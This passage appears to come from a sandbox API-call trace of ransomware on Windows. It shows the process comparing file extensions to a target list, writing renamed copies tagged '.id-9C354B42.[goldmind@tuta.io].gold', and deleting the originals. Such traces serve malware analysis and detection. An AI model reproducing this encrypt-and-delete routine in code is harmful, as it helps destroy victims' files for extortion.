Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0040.885] lstrlenW (lpString=".jpg") returned 4 [0040.885] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0040.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0040.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0040.885] lstrlenW (lpString=".doc") returned 4 [0040.885] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0040.885] lstrlenW (lpString=".docx") returned 5 [0040.885] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0040.885] lstrlenW (lpString=".pdf") returned 4 [0040.885] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0040.885] lstrlenW (lpString=".xls") returned 4 [0040.885] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0040.885] lstrlenW (lpString=".xlsx") returned 5 [0040.885] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0040.885] lstrlenW (lpString=".ppt") returned 4 [0040.885] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0040.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0040.885] lstrlenW (lpString=".zip") returned 4 [0040.885] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0040.885] lstrlenW (lpString=".rar") returned 4 [0040.885] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0040.885] lstrlenW (lpString=".bz2") returned 4 [0040.885] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0040.885] lstrlenW (lpString=".7z") returned 3 [0040.885] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0040.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0040.885] lstrlenW (lpString=".dbf") returned 4 [0040.885] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0040.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0040.885] lstrlenW (lpString=".1cd") returned 4 [0040.885] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0040.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0040.885] lstrlenW (lpString=".jpg") returned 4 [0040.885] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0040.885] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0040.885] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0040.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.886] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=20627) returned 1 [0040.886] CloseHandle (hObject=0x20c) returned 1 [0040.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0040.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.886] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.886] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0040.886] GetLastError () returned 0x0 [0040.886] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x5093, lpOverlapped=0x0) returned 1 [0040.888] WriteFile (in: hFile=0x1f4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x50a0, lpOverlapped=0x0) returned 1 [0040.889] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.889] WriteFile (in: hFile=0x1f4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.889] SetEndOfFile (hFile=0x1f4) returned 1 [0040.889] CloseHandle (hObject=0x1f4) returned 1 [0040.890] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.890] SetEndOfFile (hFile=0x20c) returned 1 [0040.891] CloseHandle (hObject=0x20c) returned 1 [0040.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0040.891] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0040.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0040.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0040.891] lstrlenW (lpString=".doc") returned 4 [0040.891] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.891] lstrlenW (lpString=".docx") returned 5 [0040.891] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0040.891] lstrlenW (lpString=".pdf") returned 4 [0040.891] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.891] lstrlenW (lpString=".xls") returned 4 [0040.891] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.891] lstrlenW (lpString=".xlsx") returned 5 [0040.892] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0040.892] lstrlenW (lpString=".ppt") returned 4 [0040.892] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0040.892] lstrlenW (lpString=".zip") returned 4 [0040.892] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.892] lstrlenW (lpString=".rar") returned 4 [0040.892] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.892] lstrlenW (lpString=".bz2") returned 4 [0040.892] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.892] lstrlenW (lpString=".7z") returned 3 [0040.892] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0040.892] lstrlenW (lpString=".dbf") returned 4 [0040.892] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0040.892] lstrlenW (lpString=".1cd") returned 4 [0040.892] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0040.892] lstrlenW (lpString=".jpg") returned 4 [0040.892] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0040.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0040.892] lstrlenW (lpString=".doc") returned 4 [0040.892] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.892] lstrlenW (lpString=".docx") returned 5 [0040.892] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0040.892] lstrlenW (lpString=".pdf") returned 4 [0040.892] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.892] lstrlenW (lpString=".xls") returned 4 [0040.892] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.892] lstrlenW (lpString=".xlsx") returned 5 [0040.892] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0040.892] lstrlenW (lpString=".ppt") returned 4 [0040.892] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0040.892] lstrlenW (lpString=".zip") returned 4 [0040.892] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.892] lstrlenW (lpString=".rar") returned 4 [0040.892] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.892] lstrlenW (lpString=".bz2") returned 4 [0040.892] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.892] lstrlenW (lpString=".7z") returned 3 [0040.892] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0040.892] lstrlenW (lpString=".dbf") returned 4 [0040.892] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0040.892] lstrlenW (lpString=".1cd") returned 4 [0040.892] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0040.892] lstrlenW (lpString=".jpg") returned 4 [0040.892] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.893] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0040.893] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0040.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.893] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1560) returned 1 [0040.893] CloseHandle (hObject=0x20c) returned 1 [0040.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0040.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.893] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.893] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.895] GetLastError () returned 0x0 [0040.895] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x618, lpOverlapped=0x0) returned 1 [0040.896] WriteFile (in: hFile=0x200, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x620, lpOverlapped=0x0) returned 1 [0040.897] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.897] WriteFile (in: hFile=0x200, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0040.897] SetEndOfFile (hFile=0x200) returned 1 [0040.897] CloseHandle (hObject=0x200) returned 1 [0040.898] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.898] SetEndOfFile (hFile=0x20c) returned 1 [0040.898] CloseHandle (hObject=0x20c) returned 1 [0040.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0040.899] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0040.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0040.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0040.899] lstrlenW (lpString=".doc") returned 4 [0040.899] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0040.899] lstrlenW (lpString=".docx") returned 5 [0040.899] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0040.899] lstrlenW (lpString=".pdf") returned 4 [0040.899] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0040.899] lstrlenW (lpString=".xls") returned 4 [0040.899] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0040.899] lstrlenW (lpString=".xlsx") returned 5 [0040.899] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0040.899] lstrlenW (lpString=".ppt") returned 4 [0040.899] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0040.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0040.899] lstrlenW (lpString=".zip") returned 4 [0040.899] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0040.899] lstrlenW (lpString=".rar") returned 4 [0040.899] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0040.899] lstrlenW (lpString=".bz2") returned 4 [0040.899] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0040.899] lstrlenW (lpString=".7z") returned 3 [0040.899] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0040.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0040.899] lstrlenW (lpString=".dbf") returned 4 [0040.899] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0040.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0040.899] lstrlenW (lpString=".1cd") returned 4 [0040.899] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0040.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0040.899] lstrlenW (lpString=".jpg") returned 4 [0040.899] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0040.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0040.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0040.900] lstrlenW (lpString=".doc") returned 4 [0040.900] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0040.900] lstrlenW (lpString=".docx") returned 5 [0040.900] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0040.900] lstrlenW (lpString=".pdf") returned 4 [0040.900] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0040.900] lstrlenW (lpString=".xls") returned 4 [0040.900] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0040.900] lstrlenW (lpString=".xlsx") returned 5 [0040.900] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0040.900] lstrlenW (lpString=".ppt") returned 4 [0040.900] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0040.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0040.900] lstrlenW (lpString=".zip") returned 4 [0040.900] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0040.900] lstrlenW (lpString=".rar") returned 4 [0040.900] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0040.900] lstrlenW (lpString=".bz2") returned 4 [0040.900] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0040.900] lstrlenW (lpString=".7z") returned 3 [0040.900] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0040.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0040.900] lstrlenW (lpString=".dbf") returned 4 [0040.900] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0040.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0040.900] lstrlenW (lpString=".1cd") returned 4 [0040.900] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0040.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0040.900] lstrlenW (lpString=".jpg") returned 4 [0040.900] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0040.900] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0040.900] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0040.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.901] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=33009) returned 1 [0040.901] CloseHandle (hObject=0x20c) returned 1 [0040.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0040.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.901] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.901] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.901] GetLastError () returned 0x0 [0040.901] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x80f1, lpOverlapped=0x0) returned 1 [0040.903] WriteFile (in: hFile=0x200, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x8100, lpOverlapped=0x0) returned 1 [0040.905] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.905] WriteFile (in: hFile=0x200, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.905] SetEndOfFile (hFile=0x200) returned 1 [0040.905] CloseHandle (hObject=0x200) returned 1 [0040.906] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.906] SetEndOfFile (hFile=0x20c) returned 1 [0040.907] CloseHandle (hObject=0x20c) returned 1 [0040.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0040.907] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0040.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0040.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0040.907] lstrlenW (lpString=".doc") returned 4 [0040.907] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.907] lstrlenW (lpString=".docx") returned 5 [0040.907] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0040.907] lstrlenW (lpString=".pdf") returned 4 [0040.907] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.907] lstrlenW (lpString=".xls") returned 4 [0040.907] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.907] lstrlenW (lpString=".xlsx") returned 5 [0040.907] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0040.907] lstrlenW (lpString=".ppt") returned 4 [0040.907] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0040.907] lstrlenW (lpString=".zip") returned 4 [0040.907] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.907] lstrlenW (lpString=".rar") returned 4 [0040.908] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.908] lstrlenW (lpString=".bz2") returned 4 [0040.908] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.908] lstrlenW (lpString=".7z") returned 3 [0040.908] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0040.908] lstrlenW (lpString=".dbf") returned 4 [0040.908] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0040.908] lstrlenW (lpString=".1cd") returned 4 [0040.908] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 